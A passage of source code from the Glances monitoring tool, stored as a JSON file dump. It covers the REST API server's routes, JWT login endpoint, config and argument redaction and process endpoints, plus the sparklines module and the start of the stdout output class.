)\n        router.add_api_route(\n            f'{base_path}/processes/extended/{{pid}}', self._api_set_extended_processes, methods=['POST']\n        )\n\n        # GET\n        router.add_api_route(f'{base_path}/status', self._api_status, methods=['GET'])\n        route_mapping = {\n            f'{base_path}/config': self._api_config,\n            f'{base_path}/config/{{section}}': self._api_config_section,\n            f'{base_path}/config/{{section}}/{{item}}': self._api_config_section_item,\n            f'{base_path}/args': self._api_args,\n            f'{base_path}/args/{{item}}': self._api_args_item,\n            f'{base_path}/help': self._api_help,\n            f'{base_path}/all': self._api_all,\n            f'{base_path}/all/limits': self._api_all_limits,\n            f'{base_path}/all/views': self._api_all_views,\n            f'{base_path}/pluginslist': self._api_plugins,\n            f'{base_path}/serverslist': self._api_servers_list,\n            f'{base_path}/processes/extended': self._api_get_extended_processes,\n            f'{base_path}/processes/{{pid}}': self._api_get_processes,\n            f'{plugin_path}': self._api,\n            f'{plugin_path}/history': self._api_history,\n            f'{plugin_path}/history/{{nb}}': self._api_history,\n            f'{plugin_path}/top/{{nb}}': self._api_top,\n            f'{plugin_path}/limits': self._api_limits,\n            f'{plugin_path}/views': self._api_views,\n            f'{plugin_path}/{{item}}': self._api_item,\n            f'{plugin_path}/{{item}}/views': self._api_item_views,\n            f'{plugin_path}/{{item}}/history': self._api_item_history,\n            f'{plugin_path}/{{item}}/history/{{nb}}': self._api_item_history,\n            f'{plugin_path}/{{item}}/description': self._api_item_description,\n            f'{plugin_path}/{{item}}/unit': self._api_item_unit,\n            f'{plugin_path}/{{item}}/value/{{value:path}}': self._api_value,\n            f'{plugin_path}/{{item}}/{{key}}': self._api_key,\n            f'{plugin_path}/{{item}}/{{key}}/views': self._api_key_views,\n        }\n        for path, endpoint in route_mapping.items():\n            router.add_api_route(path, endpoint)\n\n        # Logo\n        print(self._logo())\n\n        # Security warnings\n        if not self.args.password:\n            is_localhost = self.args.bind_address in ('127.0.0.1', 'localhost', '::1')\n            warn_lines = [\n                \"WARNING: Glances web server is running WITHOUT authentication.\",\n            ]\n            if is_localhost:\n                warn_lines.append(\"         Use --password to enable authentication.\")\n            else:\n                warn_lines.append(\"         Any client on the network can access system information.\")\n                warn_lines.append(\"         Use --password to enable authentication or\")\n                warn_lines.append(\"         --bind 127.0.0.1 to restrict access to localhost.\")\n            warn_lines.append(\"         See https://glances.readthedocs.io/en/latest/api/restful.html#security\")\n            print('\\n'.join(warn_lines) + '\\n')\n            logger.warning(\"Glances web server is running without authentication\")\n\n        if not self.webui_allowed_hosts:\n            warn_lines = [\n                \"WARNING: Glances web server is running without Host header validation.\",\n                \"         DNS rebinding attacks may allow untrusted pages to read the REST API.\",\n                \"         Set webui_allowed_hosts in glances.conf [outputs] to restrict access:\",\n                \"           webui_allowed_hosts=localhost,127.0.0.1,<your-hostname>\",\n                \"         See https://glances.readthedocs.io/en/latest/api/restful.html#security\",\n            ]\n            print('\\n'.join(warn_lines) + '\\n')\n            logger.warning(\"Glances web server is running without Host header validation (DNS rebinding protection)\")\n\n        # Browser WEBUI\n        if hasattr(self.args, 'browser') and self.args.browser:\n            # Template for the root browser.html file\n            router.add_api_route('/browser', self._browser, response_class=HTMLResponse)\n\n            # Statics files\n            self._app.mount(self.url_prefix + '/static', StaticFiles(directory=self.STATIC_PATH), name=\"static\")\n            logger.debug(f\"The Browser WebUI is enable and got statics files in {self.STATIC_PATH}\")\n\n            bindmsg = f'Glances Browser Web User Interface started on {self.bind_url}browser'\n            logger.info(bindmsg)\n            print(bindmsg)\n\n        # WEBUI\n        if not self.args.disable_webui:\n            # Template for the root index.html file\n            router.add_api_route('/', self._index, response_class=HTMLResponse)\n\n            # Statics files\n            self._app.mount(self.url_prefix + '/static', StaticFiles(directory=self.STATIC_PATH), name=\"static\")\n            logger.debug(f\"The WebUI is enable and got statics files in {self.STATIC_PATH}\")\n\n            bindmsg = f'Glances Web User Interface started on {self.bind_url}'\n            logger.info(bindmsg)\n            print(bindmsg)\n        else:\n            logger.info('The WebUI is disable (--disable-webui)')\n\n        # Restful API\n        bindmsg = f'Glances RESTful API Server started on {self.bind_url}api/{self.API_VERSION}'\n        logger.info(bindmsg)\n        print(bindmsg)\n\n        return router\n\n    def start(self, stats: GlancesStats) -> None:\n        \"\"\"Start the bottle.\"\"\"\n        # Init stats\n        self.stats = stats\n\n        # Propagate stats to the MCP server (was None at construction time)\n        if self._mcp_server is not None:\n            self._mcp_server.set_stats(self.stats)\n\n        # Init plugin list\n        self.plugins_list = self.stats.getPluginsList()\n\n        if self.args.open_web_browser:\n            # Implementation of the issue #946\n            # Try to open the Glances Web UI in the default Web browser if:\n            # 1) --open-web-browser option is used\n            # 2) Glances standalone mode is running on Windows OS\n            webbrowser.open(self.bind_url, new=2, autoraise=1)\n\n        # Start Uvicorn server\n        self._start_uvicorn()\n\n    def _start_uvicorn(self):\n        # Run the Uvicorn Web server\n        uvicorn_config = uvicorn.Config(\n            self._app,\n            host=self.args.bind_address,\n            port=self.args.port,\n            access_log=self.args.debug,\n            ssl_keyfile=self.ssl_keyfile,\n            ssl_certfile=self.ssl_certfile,\n        )\n        try:\n            self.uvicorn_server = GlancesUvicornServer(config=uvicorn_config)\n        except Exception as e:\n            logger.critical(f'Error: Can not ran Glances Web server ({e})')\n            self.uvicorn_server = None\n        else:\n            with self.uvicorn_server.run_in_thread():\n                while not self.uvicorn_server.should_exit:\n                    time.sleep(1)\n\n    def end(self):\n        \"\"\"End the Web server\"\"\"\n        if not self.args.disable_autodiscover and self.autodiscover_client:\n            self.autodiscover_client.close()\n        logger.info(\"Close the Web server\")\n\n    def _index(self, request: Request):\n        \"\"\"Return main index.html (/) file.\n\n        Parameters are available through the request object.\n        Example: http://localhost:61208/?refresh=5\n\n        Note: This function is only called the first time the page is loaded.\n        \"\"\"\n        refresh_time = request.query_params.get('refresh', default=max(1, int(self.args.time)))\n\n        # Display\n        return self._templates.TemplateResponse(\"index.html\", {\"request\": request, \"refresh_time\": refresh_time})\n\n    def _browser(self, request: Request):\n        \"\"\"Return main browser.html (/browser) file.\n\n        Note: This function is only called the first time the page is loaded.\n        \"\"\"\n        refresh_time = request.query_params.get('refresh', default=max(1, int(self.args.time)))\n\n        # Display\n        return self._templates.TemplateResponse(\"browser.html\", {\"request\": request, \"refresh_time\": refresh_time})\n\n    def _api_status(self):\n        \"\"\"Glances API RESTful implementation.\n\n        Return a 200 status code.\n        This entry point should be used to check the API health.\n\n        See related issue:  Web server health check endpoint #1988\n        \"\"\"\n\n        return GlancesJSONResponse({'version': __version__})\n\n    def _events_clear_warning(self):\n        \"\"\"Glances API RESTful implementation.\n\n        Return a 200 status code.\n\n        It's a post message to clean warning events\n        \"\"\"\n        glances_events.clean()\n        return GlancesJSONResponse({})\n\n    def _events_clear_all(self):\n        \"\"\"Glances API RESTful implementation.\n\n        Return a 200 status code.\n\n        It's a post message to clean all events\n        \"\"\"\n        glances_events.clean(critical=True)\n        return GlancesJSONResponse({})\n\n    async def _api_token(self, request: Request):\n        \"\"\"Glances API RESTful implementation.\n\n        Generate a JWT access token for authenticated users.\n\n        Expected JSON body:\n        {\n            \"username\": \"string\",\n            \"password\": \"string\"\n        }\n\n        Returns:\n        {\n            \"access_token\": \"string\",\n            \"token_type\": \"bearer\",\n            \"expires_in\": int (seconds)\n        }\n        \"\"\"\n        # Check if JWT is available\n        if self._jwt_handler is None or not self._jwt_handler.is_available:\n            raise HTTPException(\n                status.HTTP_501_NOT_IMPLEMENTED,\n                \"JWT authentication is not available. Install python-jose or check configuration.\",\n            )\n\n        # Check if password authentication is enabled\n        if self._password is None:\n            raise HTTPException(\n                status.HTTP_501_NOT_IMPLEMENTED,\n                \"Password authentication is not enabled. Start Glances with --password option.\",\n            )\n\n        # Parse request body\n        try:\n            body = await request.json()\n        except Exception:\n            raise HTTPException(status.HTTP_400_BAD_REQUEST, \"Invalid JSON body\")\n\n        username = body.get('username')\n        password = body.get('password')\n\n        if not username or not password:\n            raise HTTPException(\n                status.HTTP_400_BAD_REQUEST,\n                \"Missing username or password in request body\",\n            )\n\n        # Validate credentials\n        if username != self.args.username:\n            raise HTTPException(\n                status.HTTP_401_UNAUTHORIZED,\n                \"Incorrect authentication\",\n                {\"WWW-Authenticate\": \"Bearer\"},\n            )\n\n        # Check password\n        if not self._password.check_password(self.args.password, self._password.get_hash(password)):\n            raise HTTPException(\n                status.HTTP_401_UNAUTHORIZED,\n                \"Incorrect authentication\",\n                {\"WWW-Authenticate\": \"Bearer\"},\n            )\n\n        # Generate token\n        access_token = self._jwt_handler.create_access_token(username)\n\n        return GlancesJSONResponse(\n            {\n                \"access_token\": access_token,\n                \"token_type\": \"bearer\",\n                \"expires_in\": self._jwt_handler.expire_minutes * 60,\n            }\n        )\n\n    def _api_help(self):\n        \"\"\"Glances API RESTful implementation.\n\n        Return the help data or 404 error.\n        \"\"\"\n        try:\n            plist = self.stats.get_plugin(\"help\").get_view_data()\n        except Exception as e:\n            raise HTTPException(status.HTTP_404_NOT_FOUND, f\"Cannot get help view data ({str(e)})\")\n\n        return GlancesJSONResponse(plist)\n\n    def _api_plugins(self):\n        \"\"\"Glances API RESTFul implementation.\n\n        @api {get} /api/%s/pluginslist Get plugins list\n        @apiVersion 2.0\n        @apiName pluginslist\n        @apiGroup plugin\n\n        @apiSuccess {String[]} Plugins list.\n\n        @apiSuccessExample Success-Response:\n            HTTP/1.1 200 OK\n            [\n               \"load\",\n               \"help\",\n               \"ip\",\n               \"memswap\",\n               \"processlist\",\n               ...\n            ]\n\n         @apiError Cannot get plugin list.\n\n         @apiErrorExample Error-Response:\n            HTTP/1.1 404 Not Found\n        \"\"\"\n        # Update the stat\n        # TODO: Why ??? Try to comment it\n        # self.__update_stats()\n\n        try:\n            plist = self.plugins_list\n        except Exception as e:\n            raise HTTPException(status.HTTP_404_NOT_FOUND, f\"Cannot get plugin list ({str(e)})\")\n\n        return GlancesJSONResponse(plist)\n\n    @staticmethod\n    def _sanitize_server(server):\n        \"\"\"Return a copy of the server dict without credential-bearing fields.\"\"\"\n        safe = dict(server)\n        safe.pop('password', None)\n        safe.pop('uri', None)\n        return safe\n\n    def _api_servers_list(self):\n        \"\"\"Glances API RESTful implementation.\n\n        Return the JSON representation of the servers list (for browser mode)\n        HTTP/200 if OK\n        \"\"\"\n        # Update the servers list (and the stats for all the servers)\n        self.__update_servers_list()\n\n        servers = self.servers_list.get_servers_list() if self.servers_list else []\n        return GlancesJSONResponse([self._sanitize_server(s) for s in servers])\n\n    # Comment this solve an issue on Home Assistant See #3238\n    def _api_all(self):\n        \"\"\"Glances API RESTful implementation.\n\n        Return the JSON representation of all the plugins\n        HTTP/200 if OK\n        HTTP/400 if plugin is not found\n        HTTP/404 if others error\n        \"\"\"\n\n        # Update the stat\n        self.__update_stats()\n\n        try:\n            # Get the RAW value of the stat ID\n            # TODO in #3211: use getAllExportsAsDict instead but break UI for uptime, processlist, others ?\n            statval = self.stats.getAllAsDict()\n        except Exception as e:\n            raise HTTPException(status.HTTP_404_NOT_FOUND, f\"Cannot get stats ({str(e)})\")\n\n        return GlancesJSONResponse(statval)\n\n    def _api_all_limits(self):\n        \"\"\"Glances API RESTful implementation.\n\n        Return the JSON representation of all the plugins limits\n        HTTP/200 if OK\n        HTTP/400 if plugin is not found\n        HTTP/404 if others error\n        \"\"\"\n        try:\n            # Get the RAW value of the stat limits\n            limits = self.stats.getAllLimitsAsDict()\n        except Exception as e:\n            raise HTTPException(status.HTTP_404_NOT_FOUND, f\"Cannot get limits ({str(e)})\")\n\n        return GlancesJSONResponse(limits)\n\n    def _api_all_views(self):\n        \"\"\"Glances API RESTful implementation.\n\n        Return the JSON representation of all the plugins views\n        HTTP/200 if OK\n        HTTP/400 if plugin is not found\n        HTTP/404 if others error\n        \"\"\"\n        try:\n            # Get the RAW value of the stat view\n            limits = self.stats.getAllViewsAsDict()\n        except Exception as e:\n            raise HTTPException(status.HTTP_404_NOT_FOUND, f\"Cannot get views ({str(e)})\")\n\n        return GlancesJSONResponse(limits)\n\n    def _api(self, plugin: str):\n        \"\"\"Glances API RESTful implementation.\n\n        Return the JSON representation of a given plugin\n        HTTP/200 if OK\n        HTTP/400 if plugin is not found\n        HTTP/404 if others error\n        \"\"\"\n        self._check_if_plugin_available(plugin)\n\n        # Update the stat\n        self.__update_stats(get_plugin_dependencies(plugin))\n\n        try:\n            # Get the RAW value of the stat ID\n            statval = self.stats.get_plugin(plugin).get_api()\n        except Exception as e:\n            raise HTTPException(status.HTTP_404_NOT_FOUND, f\"Cannot get plugin {plugin} ({str(e)})\")\n\n        return GlancesJSONResponse(statval)\n\n    def _check_if_plugin_available(self, plugin: str) -> None:\n        if plugin in self.plugins_list:\n            return\n\n        raise HTTPException(\n            status.HTTP_400_BAD_REQUEST, f\"Unknown plugin {plugin} (available plugins: {self.plugins_list})\"\n        )\n\n    def _api_top(self, plugin: str, nb: int = 0):\n        \"\"\"Glances API RESTful implementation.\n\n        Return the JSON representation of a given plugin limited to the top nb items.\n        It is used to reduce the payload of the HTTP response (example: processlist).\n\n        HTTP/200 if OK\n        HTTP/400 if plugin is not found\n        HTTP/404 if others error\n        \"\"\"\n        self._check_if_plugin_available(plugin)\n\n        # Update the stat\n        self.__update_stats(get_plugin_dependencies(plugin))\n\n        try:\n            # Get the RAW value of the stat ID\n            statval = self.stats.get_plugin(plugin).get_api()\n        except Exception as e:\n            raise HTTPException(status.HTTP_404_NOT_FOUND, f\"Cannot get plugin {plugin} ({str(e)})\")\n\n        if isinstance(statval, list):\n            statval = statval[:nb]\n\n        return GlancesJSONResponse(statval)\n\n    def _api_history(self, plugin: str, nb: int = 0):\n        \"\"\"Glances API RESTful implementation.\n\n        Return the JSON representation of a given plugin history\n        Limit to the last nb items (all if nb=0)\n        HTTP/200 if OK\n        HTTP/400 if plugin is not found\n        HTTP/404 if others error\n        \"\"\"\n        self._check_if_plugin_available(plugin)\n\n        # Update the stat\n        self.__update_stats(get_plugin_dependencies(plugin))\n\n        try:\n            # Get the RAW value of the stat ID\n            statval = self.stats.get_plugin(plugin).get_raw_history(nb=int(nb))\n        except Exception as e:\n            raise HTTPException(status.HTTP_404_NOT_FOUND, f\"Cannot get plugin history {plugin} ({str(e)})\")\n\n        return statval\n\n    def _api_limits(self, plugin: str):\n        \"\"\"Glances API RESTful implementation.\n\n        Return the JSON limits of a given plugin\n        HTTP/200 if OK\n        HTTP/400 if plugin is not found\n        HTTP/404 if others error\n        \"\"\"\n        self._check_if_plugin_available(plugin)\n\n        try:\n            # Get the RAW value of the stat limits\n            ret = self.stats.get_plugin(plugin).get_limits()\n        except Exception as e:\n            raise HTTPException(status.HTTP_404_NOT_FOUND, f\"Cannot get limits for plugin {plugin} ({str(e)})\")\n\n        return GlancesJSONResponse(ret)\n\n    def _api_views(self, plugin: str):\n        \"\"\"Glances API RESTful implementation.\n\n        Return the JSON views of a given plugin\n        HTTP/200 if OK\n        HTTP/400 if plugin is not found\n        HTTP/404 if others error\n        \"\"\"\n        if plugin not in self.plugins_list:\n            raise HTTPException(\n                status.HTTP_400_BAD_REQUEST, f\"Unknown plugin {plugin} (available plugins: {self.plugins_list})\"\n            )\n\n        try:\n            # Get the RAW value of the stat views\n            ret = self.stats.get_plugin(plugin).get_views()\n        except Exception as e:\n            raise HTTPException(status.HTTP_404_NOT_FOUND, f\"Cannot get views for plugin {plugin} ({str(e)})\")\n\n        return GlancesJSONResponse(ret)\n\n    def _api_item(self, plugin: str, item: str):\n        \"\"\"Glances API RESTful implementation.\n\n        Return the JSON representation of the couple plugin/item\n        HTTP/200 if OK\n        HTTP/400 if plugin is not found\n        HTTP/404 if others error\n        \"\"\"\n        self._check_if_plugin_available(plugin)\n\n        # Update the stat\n        self.__update_stats(get_plugin_dependencies(plugin))\n\n        try:\n            # Get the RAW value of the stat views\n            # TODO in #3211: use a non existing (to be created) get_export_item instead but break API\n            ret = self.stats.get_plugin(plugin).get_raw_stats_item(item)\n        except Exception as e:\n            raise HTTPException(\n                status.HTTP_404_NOT_FOUND,\n                f\"Cannot get item {item} in plugin {plugin} ({str(e)})\",\n            )\n\n        return GlancesJSONResponse(ret)\n\n    def _api_key(self, plugin: str, item: str, key: str):\n        \"\"\"Glances API RESTful implementation.\n\n        Return the JSON representation of  plugin/item/key\n        HTTP/200 if OK\n        HTTP/400 if plugin is not found\n        HTTP/404 if others error\n        \"\"\"\n        self._check_if_plugin_available(plugin)\n\n        # Update the stat\n        self.__update_stats(get_plugin_dependencies(plugin))\n\n        try:\n            # Get the RAW value of the stat views\n            # TODO in #3211: use a non existing (to be created) get_export_key instead but break API\n            ret = self.stats.get_plugin(plugin).get_raw_stats_key(item, key)\n        except Exception as e:\n            raise HTTPException(\n                status.HTTP_404_NOT_FOUND,\n                f\"Cannot get item {item} for key {key} in plugin {plugin} ({str(e)})\",\n            )\n\n        return GlancesJSONResponse(ret)\n\n    def _api_item_views(self, plugin: str, item: str):\n        \"\"\"Glances API RESTful implementation.\n\n        Return the JSON view representation of the couple plugin/item\n        HTTP/200 if OK\n        HTTP/400 if plugin is not found\n        HTTP/404 if others error\n        \"\"\"\n        self._check_if_plugin_available(plugin)\n\n        # Update the stat\n        self.__update_stats(get_plugin_dependencies(plugin))\n\n        try:\n            # Get the RAW value of the stat views\n            ret = self.stats.get_plugin(plugin).get_views().get(item)\n        except Exception as e:\n            raise HTTPException(\n                status.HTTP_404_NOT_FOUND,\n                f\"Cannot get item {item} in plugin view {plugin} ({str(e)})\",\n            )\n\n        return GlancesJSONResponse(ret)\n\n    def _api_key_views(self, plugin: str, item: str, key: str):\n        \"\"\"Glances API RESTful implementation.\n\n        Return the JSON view representation of plugin/item/key\n        HTTP/200 if OK\n        HTTP/400 if plugin is not found\n        HTTP/404 if others error\n        \"\"\"\n        self._check_if_plugin_available(plugin)\n\n        # Update the stat\n        self.__update_stats(get_plugin_dependencies(plugin))\n\n        try:\n            # Get the RAW value of the stat views\n            ret = self.stats.get_plugin(plugin).get_views().get(key).get(item)\n        except Exception as e:\n            raise HTTPException(\n                status.HTTP_404_NOT_FOUND,\n                f\"Cannot get item {item} for key {key} in plugin view {plugin} ({str(e)})\",\n            )\n\n        return GlancesJSONResponse(ret)\n\n    def _api_item_history(self, plugin: str, item: str, nb: int = 0):\n        \"\"\"Glances API RESTful implementation.\n\n        Return the JSON representation of the couple plugin/history of item\n        HTTP/200 if OK\n        HTTP/400 if plugin is not found\n        HTTP/404 if others error\n\n        \"\"\"\n        self._check_if_plugin_available(plugin)\n\n        # Update the stat\n        self.__update_stats(get_plugin_dependencies(plugin))\n\n        try:\n            # Get the RAW value of the stat history\n            ret = self.stats.get_plugin(plugin).get_raw_history(item, nb=nb)\n        except Exception as e:\n            raise HTTPException(status.HTTP_404_NOT_FOUND, f\"Cannot get history for plugin {plugin} ({str(e)})\")\n        else:\n            return GlancesJSONResponse(ret)\n\n    def _api_item_description(self, plugin: str, item: str):\n        \"\"\"Glances API RESTful implementation.\n\n        Return the JSON representation of the couple plugin/item description\n        HTTP/200 if OK\n        HTTP/400 if plugin is not found\n        HTTP/404 if others error\n        \"\"\"\n        self._check_if_plugin_available(plugin)\n\n        try:\n            # Get the description\n            ret = self.stats.get_plugin(plugin).get_item_info(item, 'description')\n        except Exception as e:\n            raise HTTPException(\n                status.HTTP_404_NOT_FOUND, f\"Cannot get {item} description for plugin {plugin} ({str(e)})\"\n            )\n        else:\n            return GlancesJSONResponse(ret)\n\n    def _api_item_unit(self, plugin: str, item: str):\n        \"\"\"Glances API RESTful implementation.\n\n        Return the JSON representation of the couple plugin/item unit\n        HTTP/200 if OK\n        HTTP/400 if plugin is not found\n        HTTP/404 if others error\n        \"\"\"\n        self._check_if_plugin_available(plugin)\n\n        try:\n            # Get the unit\n            ret = self.stats.get_plugin(plugin).get_item_info(item, 'unit')\n        except Exception as e:\n            raise HTTPException(status.HTTP_404_NOT_FOUND, f\"Cannot get {item} unit for plugin {plugin} ({str(e)})\")\n        else:\n            return GlancesJSONResponse(ret)\n\n    def _api_value(self, plugin: str, item: str, value: str | int | float):\n        \"\"\"Glances API RESTful implementation.\n\n        Return the process stats (dict) for the given item=value\n        HTTP/200 if OK\n        HTTP/400 if plugin is not found\n        HTTP/404 if others error\n        \"\"\"\n        self._check_if_plugin_available(plugin)\n\n        # Update the stat\n        self.__update_stats(get_plugin_dependencies(plugin))\n\n        try:\n            # Get the RAW value\n            # TODO in #3211: use a non existing (to be created) get_export_item_value instead but break API\n            ret = self.stats.get_plugin(plugin).get_raw_stats_value(item, value)\n        except Exception as e:\n            raise HTTPException(\n                status.HTTP_404_NOT_FOUND, f\"Cannot get {item} = {value} for plugin {plugin} ({str(e)})\"\n            )\n        else:\n            return GlancesJSONResponse(ret)\n\n    def _api_config(self):\n        \"\"\"Glances API RESTful implementation.\n\n        Return the JSON representation of the Glances configuration file\n        HTTP/200 if OK\n        HTTP/404 if others error\n        \"\"\"\n        try:\n            # Get the RAW value of the config' dict\n            args_json = self.config.as_dict() if self.args.password else self.config.as_dict_secure()\n        except Exception as e:\n            raise HTTPException(status.HTTP_404_NOT_FOUND, f\"Cannot get config ({str(e)})\")\n        else:\n            return GlancesJSONResponse(args_json)\n\n    def _api_config_section(self, section: str):\n        \"\"\"Glances API RESTful implementation.\n\n        Return the JSON representation of the Glances configuration section\n        HTTP/200 if OK\n        HTTP/400 if item is not found\n        HTTP/404 if others error\n        \"\"\"\n        config_dict = self.config.as_dict() if self.args.password else self.config.as_dict_secure()\n        if section not in config_dict:\n            raise HTTPException(status.HTTP_400_BAD_REQUEST, f\"Unknown configuration item {section}\")\n\n        try:\n            # Get the RAW value of the config' dict\n            ret_section = config_dict[section]\n        except Exception as e:\n            raise HTTPException(status.HTTP_404_NOT_FOUND, f\"Cannot get config section {section} ({str(e)})\")\n\n        return GlancesJSONResponse(ret_section)\n\n    def _api_config_section_item(self, section: str, item: str):\n        \"\"\"Glances API RESTful implementation.\n\n        Return the JSON representation of the Glances configuration section/item\n        HTTP/200 if OK\n        HTTP/400 if item is not found\n        HTTP/404 if others error\n        \"\"\"\n        config_dict = self.config.as_dict() if self.args.password else self.config.as_dict_secure()\n        if section not in config_dict:\n            raise HTTPException(status.HTTP_400_BAD_REQUEST, f\"Unknown configuration item {section}\")\n\n        try:\n            # Get the RAW value of the config' dict section\n            ret_section = config_dict[section]\n        except Exception as e:\n            raise HTTPException(status.HTTP_404_NOT_FOUND, f\"Cannot get config section {section} ({str(e)})\")\n\n        try:\n            # Get the RAW value of the config' dict item\n            ret_item = ret_section[item]\n        except Exception as e:\n            raise HTTPException(\n                status.HTTP_404_NOT_FOUND, f\"Cannot get item {item} in config section {section} ({str(e)})\"\n            )\n\n        return GlancesJSONResponse(ret_item)\n\n    # Args keys that must always be redacted (even for authenticated users)\n    _ALWAYS_REDACTED_ARGS = frozenset({'password'})\n\n    # Args keys redacted when no authentication is configured\n    _SENSITIVE_ARGS = frozenset(\n        {\n            'password',\n            'snmp_community',\n            'snmp_user',\n            'snmp_auth',\n            'conf_file',\n            'username',\n        }\n    )\n\n    def _sanitize_args(self):\n        \"\"\"Return a sanitized copy of self.args as a dict.\n\n        - password hash is always redacted (even for authenticated users)\n        - other sensitive fields are redacted when no authentication is configured\n        \"\"\"\n        args_json = vars(self.args).copy()\n        if not self.args.password:\n            for key in self._SENSITIVE_ARGS:\n                if key in args_json:\n                    args_json[key] = '********'\n        else:\n            for key in self._ALWAYS_REDACTED_ARGS:\n                if key in args_json and args_json[key]:\n                    args_json[key] = '********'\n        return args_json\n\n    def _api_args(self):\n        \"\"\"Glances API RESTful implementation.\n\n        Return the JSON representation of the Glances command line arguments\n        HTTP/200 if OK\n        HTTP/404 if others error\n        \"\"\"\n        try:\n            args_json = self._sanitize_args()\n        except Exception as e:\n            raise HTTPException(status.HTTP_404_NOT_FOUND, f\"Cannot get args ({str(e)})\")\n\n        return GlancesJSONResponse(args_json)\n\n    def _api_args_item(self, item: str):\n        \"\"\"Glances API RESTful implementation.\n\n        Return the JSON representation of the Glances command line arguments item\n        HTTP/200 if OK\n        HTTP/400 if item is not found\n        HTTP/404 if others error\n        \"\"\"\n        if item not in self.args:\n            raise HTTPException(status.HTTP_400_BAD_REQUEST, f\"Unknown argument item {item}\")\n\n        try:\n            args_json = self._sanitize_args()[item]\n        except Exception as e:\n            raise HTTPException(status.HTTP_404_NOT_FOUND, f\"Cannot get args item ({str(e)})\")\n\n        return GlancesJSONResponse(args_json)\n\n    def _api_set_extended_processes(self, pid: str):\n        \"\"\"Glances API RESTful implementation.\n\n        Set the extended process stats for the given PID\n        HTTP/200 if OK\n        HTTP/400 if PID is not found\n        HTTP/404 if others error\n        \"\"\"\n        process_stats = glances_processes.get_stats(int(pid))\n\n        if not process_stats:\n            raise HTTPException(status.HTTP_404_NOT_FOUND, f\"Unknown PID process {pid}\")\n\n        glances_processes.extended_process = process_stats\n\n        return GlancesJSONResponse(True)\n\n    def _api_disable_extended_processes(self):\n        \"\"\"Glances API RESTful implementation.\n\n        Disable extended process stats\n        HTTP/200 if OK\n        HTTP/400 if PID is not found\n        HTTP/404 if others error\n        \"\"\"\n        glances_processes.extended_process = None\n\n        return GlancesJSONResponse(True)\n\n    def _api_get_extended_processes(self):\n        \"\"\"Glances API RESTful implementation.\n\n        Get the extended process stats (if set before)\n        HTTP/200 if OK\n        HTTP/400 if PID is not found\n        HTTP/404 if others error\n        \"\"\"\n        process_stats = glances_processes.get_extended_stats()\n\n        if not process_stats:\n            process_stats = {}\n\n        return GlancesJSONResponse(process_stats)\n\n    def _api_get_processes(self, pid: str):\n        \"\"\"Glances API RESTful implementation.\n\n        Get the process stats for the given PID\n        HTTP/200 if OK\n        HTTP/400 if PID is not found\n        HTTP/404 if others error\n        \"\"\"\n        process_stats = glances_processes.get_stats(int(pid))\n\n        if not process_stats:\n            raise HTTPException(status.HTTP_404_NOT_FOUND, f\"Unknown PID process {pid}\")\n\n        return GlancesJSONResponse(process_stats)\n\n\n# End of GlancesRestfulApi class\n"
  },
  {
    "path": "glances/outputs/glances_sparklines.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Manage sparklines for Glances output.\"\"\"\n\nimport sys\n\nfrom glances.globals import nativestr\nfrom glances.logger import logger\n\nsparklines_module = True\n\ntry:\n    from sparklines import sparklines\nexcept ImportError as e:\n    logger.warning(f\"Sparklines module not found ({e})\")\n    sparklines_module = False\n\ntry:\n    '┌┬┐╔╦╗╒╤╕╓╥╖│║─═├┼┤╠╬╣╞╪╡╟╫╢└┴┘╚╩╝╘╧╛╙╨╜'.encode(sys.stdout.encoding)\nexcept (UnicodeEncodeError, TypeError) as e:\n    logger.warning(f\"UTF-8 is mandatory for sparklines ({e})\")\n    sparklines_module = False\n\n\nclass Sparkline:\n    \"\"\"Manage sparklines (see https://pypi.org/project/sparklines/).\"\"\"\n\n    def __init__(self, size, pre_char='[', post_char=']', unit_char='%', display_value=True):\n        # If the sparklines python module available ?\n        self.__available = sparklines_module\n        # Sparkline size\n        self.__size = size\n        # Sparkline current percents list\n        self.__percent = []\n        # Char used for the decoration\n        self.__pre_char = pre_char\n        self.__post_char = post_char\n        self.__unit_char = unit_char\n        # Value should be displayed ?\n        self.__display_value = display_value\n\n    @property\n    def available(self):\n        return self.__available\n\n    @property\n    def size(self, with_decoration=False):\n        # Return the sparkline size, with or without decoration\n        if with_decoration:\n            return self.__size\n        if self.__display_value:\n            return self.__size - 6\n        return None\n\n    @property\n    def percents(self):\n        return self.__percent\n\n    @percents.setter\n    def percents(self, value):\n        self.__percent = value\n\n    @property\n    def pre_char(self):\n        return self.__pre_char\n\n    @property\n    def post_char(self):\n        return self.__post_char\n\n    def get(self, overwrite=''):\n        \"\"\"Return the sparkline.\"\"\"\n        ret = sparklines(self.percents, minimum=0, maximum=100)[0]\n        if self.__display_value:\n            percents_without_none = [x for x in self.percents if x is not None]\n            if percents_without_none:\n                ret = f'{ret}{percents_without_none[-1]:5.1f}{self.__unit_char}'\n        ret = nativestr(ret)\n        if overwrite and len(overwrite) < len(ret) - 6:\n            ret = overwrite + ret[len(overwrite) :]\n        return ret\n\n    def __str__(self):\n        \"\"\"Return the sparkline.\"\"\"\n        return self.get()\n"
  },
  {
    "path": "glances/outputs/glances_stdout.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Stdout interface class.\"\"\"\n\nimport time\n\nfrom glances.globals import printandflush\nfrom glances.logger import logger\n\n\nclass GlancesStdout:\n    \"\"\"This class manages the Stdout display.\"\"\"\n\n    def __init__(self, config=None, args=None):\n        # Init\n        self.config = config\n        self.args = args\n\n        # Build the list of plugin and/or plugin.attribute to display\n        self.plugins_list = self.build_list()\n\n    def build_list(self):\n        \"\"\"Return a list of tuples taken from self.args.stdout\n\n        :return: A list of tuples. Example [(plugin, key, attribute), ... ]\n        \"\"\"\n        ret = []\n        for p in self.args.stdout.split(','):\n            pka = p.split('.')\n            if len(pka) == 1:\n                # Only plugin name is provided\n                new = (pka[0], None, None)\n            elif len(pka) == 2:\n                # Plugin name and attribute is provided\n                new = (pka[0], None, pka[1])\n            elif len(pka) == 3:\n                # Plugin name, key and attribute are provided\n                new = (pka[0], pka[1], pka[2])\n            ret.append(new)\n        return ret\n\n    def end(self):\n        pass\n\n    def update(self, stats, duration=3, cs_status=None, return_to_browser=False):\n        \"\"\"Display stats to stdout.\n\n        Refresh every duration second.\n        \"\"\"\n        for plugin, key, attribute in 